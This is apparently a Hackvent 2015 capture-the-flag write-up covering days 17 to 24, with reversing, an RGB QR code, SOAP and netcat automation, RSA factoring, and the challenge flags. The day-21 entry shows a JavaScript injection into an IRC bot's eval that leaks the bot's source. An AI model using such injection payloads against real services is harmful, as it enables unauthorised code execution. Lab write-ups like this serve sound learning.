.idata:0040307C                 extrn __imp_SetFilePointer:dword
.idata:0040307C                                         ; DATA XREF: SetFilePointerr
.idata:00403080 ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
.idata:00403080                 extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler
.idata:00403084 ; DWORD __stdcall GetCurrentProcessId()
.idata:00403084                 extrn __imp_GetCurrentProcessId:dword
.idata:00403084                                         ; DATA XREF: GetCurrentProcessIdr
.idata:00403088
.idata:0040308C ;
.idata:0040308C ; Imports from USER32.dll
.idata:0040308C ;
.idata:0040308C ; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
.idata:0040308C                 extrn __imp_MessageBoxA:dword ; DATA XREF: MessageBoxAr
.idata:00403090
.idata:00403090
.idata:00403090
.idata:00403090                 end start

We see that the key is constructed using the current processId as a seed:

CODE:004010AB                 call    GetModuleHandleA
CODE:004010B0                 call    GetCurrentProcessId
CODE:004010B5                 imul    eax, 12345678h
CODE:004010BB                 mov     ds:dword_402074, eax
CODE:004010C0                 xor     eax, 0BABEF00Dh
CODE:004010C5                 mov     ds:dword_402078, eax
CODE:004010CA                 sub     eax, 1EE7C0DEh
CODE:004010CF                 mov     ds:dword_40207C, eax
CODE:004010D4                 add     eax, 42424242h
CODE:004010D9                 mov     ds:dword_402080, eax

This must be the vulnerability the challenge text alluded to, as the process Id in practice never gets very high. So if we can reverse the encryption, we could just try a number of different keys until it decrypts to something starting with HV15.

The decryption proved difficult to perform. After the hint was released, we finally got on the right track. Turns out googling the constant used at the beginning of the encryption function would lead you to the algorithm:

CODE:0040103A loc_40103A:                             ; CODE XREF: sub_401000+81j
CODE:0040103A                 add     edx, 9E3779B9h

Turns out this is Tiny Encryption Algorithm (TEA).

Flag

unsolved

Dec 17: Santas Quick Response

Challenge

Enhancement made worse

Santa was disappointed about the small QR’s: they couldn’t store enough data to flag each gift uniquely for his 8 billion customers. Promptly he removed some unnecessary features and added a few trailblazing new ones. Now he’s capable to store a mupltiple of the previous amount, 3 times more, or even more.

Here is your gift:

… extract your nugget with your self made scanner!

Solution

This one nearly broke my brain. We had to delve into the nitty gritty details of the QR format and extend it to RGB.

There is a great video about how to decode a QR code by hand here: https://www.youtube.com/watch?v=KA8hDldvfv0 And the wikipedia entry was extremely useful as well: https://en.wikipedia.org/wiki/QR_code

The video does a much clearer job of explaining the process, but I will run through it here too:

If we assume each cell in the QR code now contains 3 bits, there are basically 3 QR codes interwoven. Since in normal QR codes black=1, white=0, we extend this to the colours using CMY instead of RGB:

1
2
3
4
5
6
7
8
9
RGB
111 black  (bl)
110 blue   (B)
101 green  (G)
100 l.blue (lb)
011 red    (R)
010 purple (P)
001 yellow (Y)
000 white  (W)

These images explain the QR format:

We see from the right bottom segment that this QR code uses byte encoding, so can produce any ASCII character.

We also see that the mask pattern bits are Blue-Black-Blue. Since we have 3 bits per cell we can have a different masking pattern per channel:

1
2
3
4
5
6
7
masking:
B-bl-B
110 111 110

MSB channel : 111
bit2 channel: 111
LSB channel : 010

So in the most significant bit channel (MSB) and the middle bit channel, the masking pattern is that of 111 (all black), and in the least significant bit channel it is the pattern for 010 (white-black-white).

From the image above we can see that its the following mask patterns, where 1 means invert that bit, and 0 means don’t invert. These mask patterns align to the bottom right corner and repeat in all directions.

1
2
3
4
5
6
111= 100100      010: 101010
     100100           000111
     100100           100011
     100100           010101
     100100           111000
     100100           011100

Now the next block of eight above the encoding block specify the length, which we just skip, and after that the message starts. The orientation of the blocks determines which cells represent the most through least significant bits The image shown above numbers the cells in a block from most significant (1) to least significant (8), let’s rewrite that to use powers of two:

1
2
3
4
5
orient: up      orient: top      orient: down     orient: bottom
1  2            4  8  16  32     64 128           1  2  64 128
4  8            1  2  64  128    16 32            4  8  16 32
16 32                            4  8
64 128                           1  2

Now we get to the actual decoding. For each block in the path, we note the color of all cells, transcribe this to three bits per cell, apply the mask pattern, get the eight bits per channel, and convert this to the corresponding ascii char. If we encounter 0000, that signifies end of message.

Below is the manual process I performed to solve this:

NOTE: bold means bit is covered by masking pattern and should be inverted

Reading the letters from most significant bit channel first then repeating the process in the second and third channels and concatenating the text gives us the nugget.

Flag

HV15-KLg1-vnhb-qO3v-02Fd-IzOR

Dec 18: Reversing #3

Challenge

bite the sour apple

This time the key is not encrypted, but verified. Can you still recover the daily code?

file

Solution

We get a Mach-o executable. We disassemble the file and see a series of base64 encodings followed by MD5 hashings followed by string comparisons:

The target strings are the following:

1
2
3
4
5
6
fab3e420d6d8a17b53b23ca4bb01866b
189f56eea9a9ba305dffa8425ba20048
2335667c646346b38c8f0f47b13fab13
f4709a7eef9d703920b910fc734b151c
b74e57f21f5a315550a9e2f6869d4e44
40abc257b6f0e0420dc9ae9ba19c8c8c

There are six target strings, which is exactly the number of fragments in a nugget, so it looks like the program checks whether the md5 sum of each base64 encoded nugget fragment is equal these hexstrings. We verify this by testing it for the first fragment, which we know to be HV15:

1
2
3
4
5
6
$ python
>>> import base64,md5
>>> m=md5.new()
>>> m.update(base64.b64encode('HV15'))
>>> m.hexdigest()
'fab3e420d6d8a17b53b23ca4bb01866b'

So we see that we were correct. Now it is just a matter of finding the rest of the 4-letter fragments, which we can easily bruteforce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64
import md5
import itertools

targets=['fab3e420d6d8a17b53b23ca4bb01866b',
         '189f56eea9a9ba305dffa8425ba20048',
         '2335667c646346b38c8f0f47b13fab13',
         'f4709a7eef9d703920b910fc734b151c',
         'b74e57f21f5a315550a9e2f6869d4e44',
         '40abc257b6f0e0420dc9ae9ba19c8c8c']

alphabet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

# try all 4 letter fragments of the nugget, md5(base64(fragment)) must equal one of the targets
for fragment in itertools.product(alphabet,repeat=4):
    fragment = ''.join(fragment)
    m=md5.new()
    m.update( base64.b64encode(fragment) )
    if m.hexdigest() in targets:
        print 'Found fragment: '+fragment+' ('+m.hexdigest()+')'

This outputs:

1
2
3
4
5
6
Found fragment: AHzP (b74e57f21f5a315550a9e2f6869d4e44)
Found fragment: BcJH (2335667c646346b38c8f0f47b13fab13)
Found fragment: HV15 (fab3e420d6d8a17b53b23ca4bb01866b)
Found fragment: N8tK (f4709a7eef9d703920b910fc734b151c)
Found fragment: QmHY (40abc257b6f0e0420dc9ae9ba19c8c8c)
Found fragment: 9aSY (189f56eea9a9ba305dffa8425ba20048)

We put together the nugget by placing the fragments in the same order as the strings are checked in the executable.

Flag

HV15-9aSY-BcJH-N8tK-AHzP-QmHY

Dec 19: Soap Riddler

Challenge

be fast or be last

You will be given the solution, your task is to calculate the beautiful assignment. But you have to be quick, or Thumper robs your nugget!

your daily soap

Solution

We have to get our nugget from a SOAP service described by the following WSDL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?xml version="1.0" encoding="utf-8"?>
<definitions
	xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
	xmlns:tns="urn:hlserver"
	xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
	xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
	xmlns="http://schemas.xmlsoap.org/wsdl/"
	targetNamespace="urn:hlserver">

<message name="sessionRequest">
</message>
<message name="sessionResponse">
  <part name="session" type="xsd:string" />
</message>

<message name="questRequest">
  <part name="session" 	type="xsd:string" />
</message>
<message name="questResponse">
  <part name="quest" 	type="xsd:string" />
</message>

<message name="solutionRequest">
  <part name="session" 	type="xsd:string" />
  <part name="solution" type="xsd:string" />
</message>
<message name="solutionResponse">
  <part name="result" 	type="xsd:string" />
</message>

<portType name="hlserverPortType">
  <operation name="getSession">
    <documentation>Order new Session</documentation>
    <input 	message="tns:sessionRequest"/>
    <output message="tns:sessionResponse"/>
  </operation>
  <operation name="getQuest">
    <documentation>Order new Quest to solve</documentation>
    <input 	message="tns:questRequest"/>
    <output message="tns:questResponse"/>
  </operation>
  <operation name="submitSolution">
    <documentation>Submit solution for a quest</documentation>
    <input 	message="tns:solutionRequest"/>
    <output message="tns:solutionResponse"/>
  </operation>
</portType>

<binding name="hlserverBinding" type="tns:hlserverPortType">
  <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
  <operation name="getSession">
    <soap:operation soapAction="urn:hlserver#getSession" style="rpc"/>
    <input>
      <soap:body use="encoded" namespace="urn:hlserver" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    </input>
    <output>
      <soap:body use="encoded" namespace="urn:hlserver" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    </output>
  </operation>
  <operation name="getQuest">
    <soap:operation soapAction="urn:hlserver#getQuest" style="rpc"/>
    <input>
      <soap:body use="encoded" namespace="urn:hlserver" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    </input>
    <output>
      <soap:body use="encoded" namespace="urn:hlserver" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    </output>
  </operation>
  <operation name="submitSolution">
    <soap:operation soapAction="urn:hlserver#submitSolution" style="rpc"/>
    <input>
      <soap:body use="encoded" namespace="urn:hlserver" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    </input>
    <output>
      <soap:body use="encoded" namespace="urn:hlserver" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    </output>
  </operation>
</binding>
<service name="hlserver">
  <port name="hlserverPort" binding="tns:hlserverBinding">
    <soap:address location="http://hackvent.org/DailyS04p/server.php"/>
  </port>
</service>
</definitions>

So it appears that we need to get a quest from the service and submit a solution. We request a quest and get the following:

1
x*y*z = 34557834247

It would appear we need to find three factors of a large number. Submitting a (wrong) solution triggers the following response from the server:

1
nope, this is not the assignment for the given result! (order numbers, no blanks)

So we need to order our numbers (ascending as it turns out) when we craft our solution, which for this example would look like:

1
1447*3323*7187

when we submit this correct solution we get the response:

1
Well done, congrats: 1 of 20

So let’s automate this and submit 20 solutions in a row

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from suds.client import Client
import math,itertools

# return list of all factors of n
def factors(n):
    fact=[1,n]
    check=2
    rootn=math.sqrt(n)
    while check<rootn:
        if n%check==0:
            fact.append(check)
            fact.append(n/check)
        check+=1
    if rootn==check:
        fact.append(check)
        fact.sort()
    return fact


# connect to SOAP service and print some info and start a session
url = 'http://hackvent.org/DailyS04p/server.php?wsdl'
client = Client(url)
print client
session = client.service.getSession()

# solve 20 quest in a row
for _ in range(0,20):
    quest = client.service.getQuest(session)

    print 'Quest: '+quest
    equation=quest.split(' = ')
    target= int(equation[1])

    ft= factors(target)

    for c in itertools.combinations(ft,3):
        if c[0]*c[1]*c[2]==target and 1 not in c:
            solstring = str('*'.join(map(str,sorted(c))))
            print 'Our solution: '+solstring
            response = client.service.submitSolution(session,solstring )
            print 'Response: '+response

This script outputs the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Service ( hlserver ) tns="urn:hlserver"
   Prefixes (0)
   Ports (1):
      (hlserverPort)
         Methods (3):
            getQuest(xs:string session, )
            getSession()
            submitSolution(xs:string session, xs:string solution, )
         Types (0):


Quest: x*y*z = 18081466231
Our solution: 1321*2333*5867
Response: Well done, congrats: 1 of 20
Quest: x*y*z = 322993008917
Our solution: 5099*7307*8669
Response: Well done, congrats: 2 of 20
Quest: x*y*z = 86869597361
Our solution: 2539*4603*7433
Response: Well done, congrats: 3 of 20
Quest: x*y*z = 746546585201
Our solution: 8059*9311*9949
Response: Well done, congrats: 4 of 20
Quest: x*y*z = 139364239493
Our solution: 3989*5573*6269
Response: Well done, congrats: 5 of 20
Quest: x*y*z = 609858270569
Our solution: 7589*8863*9067
Response: Well done, congrats: 6 of 20
Quest: x*y*z = 48438366677
Our solution: 1459*5431*6113
Response: Well done, congrats: 7 of 20
Quest: x*y*z = 165453576851
Our solution: 5233*5281*5987
Response: Well done, congrats: 8 of 20
Quest: x*y*z = 45624244177
Our solution: 1987*2689*8539
Response: Well done, congrats: 9 of 20
Quest: x*y*z = 158666169521
Our solution: 3673*6287*6871
Response: Well done, congrats: 10 of 20
Quest: x*y*z = 5458915087
Our solution: 1031*1087*4871
Response: Well done, congrats: 11 of 20
Quest: x*y*z = 299945937959
Our solution: 3947*7741*9817
Response: Well done, congrats: 12 of 20
Quest: x*y*z = 73131129427
Our solution: 2719*4027*6679
Response: Well done, congrats: 13 of 20
Quest: x*y*z = 179127963941
Our solution: 2267*8273*9551
Response: Well done, congrats: 14 of 20
Quest: x*y*z = 80209455857
Our solution: 1499*7001*7643
Response: Well done, congrats: 15 of 20
Quest: x*y*z = 79052863993
Our solution: 1451*5783*9421
Response: Well done, congrats: 16 of 20
Quest: x*y*z = 67753202401
Our solution: 1609*4241*9929
Response: Well done, congrats: 17 of 20
Quest: x*y*z = 146094089213
Our solution: 3851*4243*8941
Response: Well done, congrats: 18 of 20
Quest: x*y*z = 32951598587
Our solution: 2099*2957*5309
Response: Well done, congrats: 19 of 20
Quest: x*y*z = 63435256273
Our solution: 3761*3889*4337
Response: Congrats, your HV-Nugget is HV15-uUIh-wudK-YAam-fIw5-YuNo

After 20 successful quests we are given the nugget.

Flag

HV15-uUIh-wudK-YAam-fIw5-YuNo

Dec 20

Challenge

Solution

Flag

unsolved

Dec 21: Mr Santa

Challenge

Solution

We get an IRC bot to play with. We can say HELLO, ask him to CALCULATE something for us or give him a GIFT

1
2
3
4
5
6
<ysje>	        HELLO
<MrSanta>	Hello, ysje
<ysje>	        CALCULATE 40+2
<MrSanta>	That's easy: 42
<ysje>	        GIFT bla
<MrSanta>	Thanks for all the fish, ysje, but that's not what I was wishing for!

We can inject some javascript,

1
2
3
4
<ysje>	        CALCULATE Math
<MrSanta>	That's easy: [object Math]
<ysje>	        CALCULATE Object.getOwnPropertyNames(this)
<MrSanta>	That's easy: Int8Array,encodeURIComponent,RegExp,WeakSet,NaN,Symbol,Float64Array,Int32Array,decodeURIComponent,ReferenceError,Float32Array,Uint8ClampedArray,WeakMap,Intl,decodeURI,Promise,JSON,Uint8Array,Error,EvalError,Uint16Array,Function,ArrayBuffer,Object,Set,URIError,Number,parseInt,Math,escape,Infinity,Boolean,DataView,undefined,isFinite,SyntaxError,String,encodeURI,Uint32Array,unescape,Date,RangeError,Map,eval,Int16Array,isNaN,parseFloat,TypeError,Arr

and if we’re really crafty get him to show us his code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<ysje>	        CALCULATE (function () { var obj = {toString: function () { return arguments.callee.caller.toString() }}; throw obj })()
<MrSanta>	This doesn't work out ... but that's your fault: function (from, text) {
<MrSanta>	  console.log(from + ' => BOT: ' + text);
<MrSanta>	  if (text.match(/^hello/i)) {
<MrSanta>	     client.say(from, "Hello, "+from);
<MrSanta>	  } else if (text.match(/^gift (.*)/i)) {
<MrSanta>	    if (RegExp.$1 === 'five tons of flax') {
<MrSanta>	       client.say(from, "Thanks a lot! I do have something in return for you: 'HV15-TZHg-KRLH-tHlC-PmiZ-uWzB'");
<MrSanta>	    } else {
<MrSanta>	       client.say(from, "Thanks for all the fish, "+from+", but that's not what I was wishing for!");
<MrSanta>	    }
<MrSanta>	  } else if (text.match(/^calculate (.*)/i)) {
<MrSanta>	     expr = RegExp.$1;
<MrSanta>	     console.log('evaluating "'+expr+'"');
<MrSanta>	     try {
<MrSanta>	        client.say(from, "That's easy: "+vm.runInNewContext('('+expr+')'));
<MrSanta>	     } catch (e) {
<MrSanta>	        client.say(from, "This doesn't work out ... but that's your fault: " + e);
<MrSanta>	     }
<MrSanta>	  } else {
<MrSanta>	     client.say(from, "Sorry, I didn't understand. Maybe you meant to say HELLO, offer me a GIFT, or you want me to CALCULATE something?");
<MrSanta>	  }
<MrSanta>	}

Flag

HV15-TZHg-KRLH-tHlC-PmiZ-uWzB

Dec 22 Saving XMas

Challenge

with your hacking fu

our team was able to download the daily code from santas computer. sadly its somehow obfuscated and hidden - we are not able to extract the code.

can you help us to save xmas and find the code?

solve_me.zip

Solution

We get a virtual hard disk image. We mount this and find a cd rom image.

We mount this too

1
2
mkdir /mnt/HV15
mount -t iso9660 somefile /mnt/HV15

and find 5 files labelled part 1 throught part5.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ tree
.
├── readme.txt
├── $RECYCLE.BIN
│   └── S-1-5-21-2161969326-774472170-822451778-1002
│       └── desktop.ini
├── somefile
├── Somefile
│   ├── HV15.txt
│   ├── part1
│   │   ├── code
│   │   └── pass
│   ├── part1.zip
│   ├── part2
│   │   └── murtceps
│   ├── part3
│   ├── part4.pkg
│   └── part5_uu
└── System Volume Information
    └── tracking.log

HV15.txt:

1
HV15-part1-part2-part3-part4-part5

readme.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
no hints here. ho ho ho.

           _

          {_}

          / \

         /   \

        /_____\

      {`_______`}

       // . . \\

      (/(__7__)\)

      |'-' = `-'|

      |         |

      /\       /\

     /  '.   .'  \

    /_/   `"`   \_\

   {__}###[_]###{__}

   (_/\_________/\_)

       |___|___|

        |--|--|

       (__)`(__)

So it appears we need to solve 5 smaller challenges to get the nugget:

Part1

We get a zip file containing two files, code, a password-protected archive, and pass, a data file.

A closer look at pass file shows:

1
2
3
000eccd0  70 61 77 73 70 61 77 73  70 61 77 73 70 61 77 73  |pawspawspawspaws|
000ecce0  78 56 34 12 78 56 34 12  78 56 34 12 78 56 34 12  |xV4.xV4.xV4.xV4.|
000eccf0  34 33 32 31 38 37 36 35  34 33 32 31 38 37 36 35  |4321876543218765|

do we need to swap the bytes order?

1
2
3
4
5
6
7
8
from array import array

filename = 'dec22/Hackvent-cd/part1/pass'
outfile = 'dec22_part1_output'

a = array("I", open(filename, "rb").read())
a.byteswap()
open(outfile, "wb").write(a.tostring())

and we see we get an mp3 file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ file dec22_part1_output
dec22_part1_output: Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo

$ exiftool dec22_part1_output
ExifTool Version Number         : 10.00
File Name                       : dec22_part1_output
Directory                       : ../../..
File Size                       : 947 kB
File Modification Date/Time     : 2016:01:14 16:43:16+01:00
File Access Date/Time           : 2016:01:14 16:43:14+01:00
File Inode Change Date/Time     : 2016:01:14 16:43:16+01:00
File Permissions                : rw-rw-r--
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
MPEG Audio Version              : 1
Audio Layer                     : 3
Audio Bitrate                   : 128 kbps
Sample Rate                     : 44100
Channel Mode                    : Stereo
MS Stereo                       : Off
Intensity Stereo                : Off
Copyright Flag                  : False
Original Media                  : False
Emphasis                        : None
ID3 Size                        : 1024
Comment                         : pw=songtitle - walking on "x_x_x"
Genre                           : HACKvent
Duration                        : 0:01:00 (approx)

So we see a hint to the archive password in the exifdata of this file:

1
pw=songtitle - walking on "x_x_x"

Hmm, it’s just the intro to the song and I don’t recognize it..

1
fragment 1:

Part2

murtceps (spectrum spelled backwards) is a wav file. We open the audio file in Audacity and find the nugget fragment in the spectogram view:

the letters still look a bit weird, but when we invert it (like the word murtceps was) it looks better:

1
fragment 2: Vjdj

Part3

1
2
N=8ED6168915ED61C560B04D212FC032C107B8BA9BF1179B97DEABFA71F111E749
C=39C9FB8503B3F73BB24069AFE0F2C0416177A40EE60E57134C00ABE8BEDE45BD

This looks like RSA. The RSA cryptosystem is explained here.

So we first need to factor N into prime factors. N is quite large so hard it would be hard to calculate, but luckily there is a database online, factordb.com which knows the prime factors p and q for our N:

1
2
3
N=64606685304927935569594948677404361910558586233909578594144327870534942582601
p=237024794671302122535260220812153587643
q=272573531366295567443756143024197333707

We now let r=(p-1)(q-1), and find two integers, e and d such that:

1
2
3
4
5
e*d mod r = 1
e and N relatively prime
d and N relatively prime
e and r relatively prime
d and r relatively prime

according to the wiki page, 65537 is a commonly used value for e. Using that knowledge we try to find d and decrypt the ciphertext using python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.PublicKey import RSA
import gmpy2

N = 64606685304927935569594948677404361910558586233909578594144327870534942582601L
C = "39C9FB8503B3F73BB24069AFE0F2C0416177A40EE60E57134C00ABE8BEDE45BD".decode("hex")

# prime factors we found via factordb.com
p = 237024794671302122535260220812153587643L
q = 272573531366295567443756143024197333707L

r=(p-1)*(q-1)

# find e and d
# divm(a, b, m) returns x such that b * x == a modulo m. Raises a ZeroDivisionError exception if no such value x exists.
e = 65537L # our guess for e
d = long(gmpy2.divm(1, e, r))

rsa = RSA.construct((N,e,d,p,q))
pt = rsa.decrypt(C)

print "fragment 3:", pt

which outputs:

1
fragment 3: PN0Z

Part4

we have a .pkg file. Opening in a hexeditor we see:

Google tells us EP0001 signifies a Playstation package. We find a tool that can extract this (rar file)

after extraction we get a file named play with the following content:

1
print BCES01175[8]+BLES01403[0]+BLES00158[0]+BLES00314[6]

Googling again tells us those are identifiers for other Playstation packages:

1
2
3
4
BCES01175 - Uncharted 3: Drake's Deception
BLES01403 - Hitman Absolution
BLES00158 - Assassins Creed
BLES00314 - FIFA 09

we now get the appropriate character from each string to form our fragment:

1
fragment 4: dHA9

Part5

the suffix _uu hints that this is uu encoded data, we decode in python:

1
2
3
4
5
6
7
8
import binascii

with open('dec22/Hackvent-cd/part5_uu') as f:
    data=f.read()

print data

print binascii.a2b_uu(data)

this outputs

1
TmZjTg==

which is base64 encoding of the following nugget fragment

1
fragment 5: NfcN

Flag

HV15-part1-Vjdj-PN0Z-dHA9-NfcN

Dec 23

Challenge

Solution

We connect to the service using

1
2
3
4
$ nc
nc challenges.hackvent.hacking-lab.com 8888
Riddle me this, riddle me that. What about solving a bunch of riddles for a present or two?
0, 1, 1, 2, 3 ... ?

Looks like the fibonacci sequence, let’s see what happens if we answer

1
2
3
4
5
6
7
8
5
ACK, go ahead...
8
ACK, go ahead...
13
ACK, go ahead...
14
RST. Go ask Leonardo for help ...

Ok, seems like we need to keep going with the fibonacci sequence. We automate it using python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import telnetlib

# generator to produce fibonacci numbers
a,b = 0,1
def fibI():
    global a,b
    while True:
        a,b = b, a+b
        yield a

server = "challenges.hackvent.hacking-lab.com"
port = 8888

# get generator to the right point in the sequence
fib=fibI()
fib.next()
fib.next()
fib.next()
fib.next()

print "starting"

#connect to service
tn = telnetlib.Telnet(server, port)
print tn.read_until("\n")
print tn.read_until("\n")

# play until we win
response="ACK, go ahead..."
while response == "ACK, go ahead...":

    # answer with next in fibonacci sequence
    answer=fib.next()
    print 'answering: '+str(answer)
    tn.write(str(answer))
    tn.write('\n')

    response=tn.read_until('\n').strip('\n')
    print response

# see what else they have to say
print tn.read_all()

This results in the following exchange:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
starting
Riddle me this, riddle me that. What about solving a bunch of riddles for a present or two?

0, 1, 1, 2, 3 ... ?

answering: 5
ACK, go ahead...
answering: 8
ACK, go ahead...
answering: 13
ACK, go ahead...
answering: 21
ACK, go ahead...
answering: 34
ACK, go ahead...
answering: 55
ACK, go ahead...
answering: 89
ACK, go ahead...
answering: 144
ACK, go ahead...
answering: 233
ACK, go ahead...
answering: 377
ACK, go ahead...
answering: 610
You really thought I would give away my precious stuff?
  That was a joke. HAHA. FAT CHANCE.

(if you want to prank your friends, find this little code at http://hackvent.hacking-lab.com/KJYzeUErl7_riddler.tar.gz)

Ok, this was to easy to be the real challenge, but we did get the source code

Flag

unsolved

Dec 24: I’ll Give You My Present

Challenge

..if you supply one for me first

no_library_sorry.exe

Solution

Nugget

Flag

unsolved